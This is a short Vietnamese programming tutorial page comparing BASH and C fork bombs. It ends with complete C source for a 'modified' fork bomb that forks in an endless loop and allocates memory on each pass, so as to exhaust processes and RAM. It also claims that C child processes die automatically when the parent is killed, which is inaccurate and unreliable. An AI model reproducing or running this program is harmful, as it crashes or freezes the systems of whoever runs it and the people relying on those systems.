Computer >> Máy Tính >  >> Lập trình >> lập trình C

C vs BASH Fork bom trong C / C ++?

Rõ ràng rằng bom fork BASH mạnh hơn nhiều so với phiên bản chương trình C của nó. Nguyên nhân chính là trong BASH, tiến trình đã tạo bị tách rời khỏi cha mẹ. Nếu quy trình mẹ (quy trình mà chúng tôi bắt đầu ban đầu) bị phá hủy hoặc bị giết, thì phần còn lại hoặc phần còn lại của các quy trình vẫn tồn tại. Nhưng trong trường hợp triển khai C, các tiến trình con được liệt kê sẽ tự động chết nếu cha mẹ bị phá hủy hoặc bị giết. Tập lệnh có trách nhiệm giao tiếp trực tiếp với hệ thống.

Chương trình fork bom trong C có thể được cập nhật hoặc sửa đổi. Chúng tôi có thể cấp phát bộ nhớ trong chương trình tại thời điểm tạo các quy trình rẽ nhánh.

Chương trình sau được coi là quá trình triển khai bom fork C đã sửa đổi -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}